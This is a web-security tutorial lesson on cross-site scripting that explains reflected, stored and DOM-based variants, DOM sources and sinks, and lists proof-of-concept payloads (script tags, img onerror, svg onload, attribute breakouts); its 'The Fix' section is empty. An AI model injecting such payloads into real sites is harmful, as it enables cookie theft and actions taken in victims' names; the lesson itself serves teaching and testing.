05. Cross-Site Scripting

XSS lets an attacker run their JavaScript in someone else's browser, on a site that person trusts.

Why It Matters

JavaScript running on bank.com can do anything the logged-in user can: read the page, make requests as them, change settings, or steal non-HttpOnly cookies. alert() is just the proof that you can run code.

How It Happens

The app puts your input into the page without encoding it:

<!-- template -->
<p>Results for: {{ query }}</p>

<!-- you search for: <b>hi</b> -->
<p>Results for: <b>hi</b></p>   ← rendered as bold, so HTML injection works

If HTML works, try making it run JavaScript.

Three Flavors

TypeWhere the payload livesExample
ReflectedIn the request (usually the URL). Victim must click your link./search?q=<payload>
StoredSaved by the app and shown to everyone who views itComments, profiles, guestbooks
DOM-basedJavaScript on the page reads input and writes it into the DOMel.innerHTML = location.hash

Payloads

<!-- the classic -->
<script>alert(1)</script>

<!-- event handlers: work even where <script> doesn't -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>

<!-- breaking out of an attribute: value="INPUT" -->
"><img src=x onerror=alert(1)>
" autofocus onfocus="alert(1)
Gotcha: innerHTML If JavaScript inserts your input with innerHTML, <script> tags will not run. Use an event handler payload like <img src=x onerror=alert(1)> instead.

Sources & Sinks

For DOM XSS, trace where data comes from (source) to where it's used dangerously (sink):

Sources
  • location.search
  • location.hash
  • document.cookie
  • localStorage
Sinks
  • innerHTML / outerHTML
  • document.write()
  • eval()
  • element.src / .href

The Fix

06-access-control →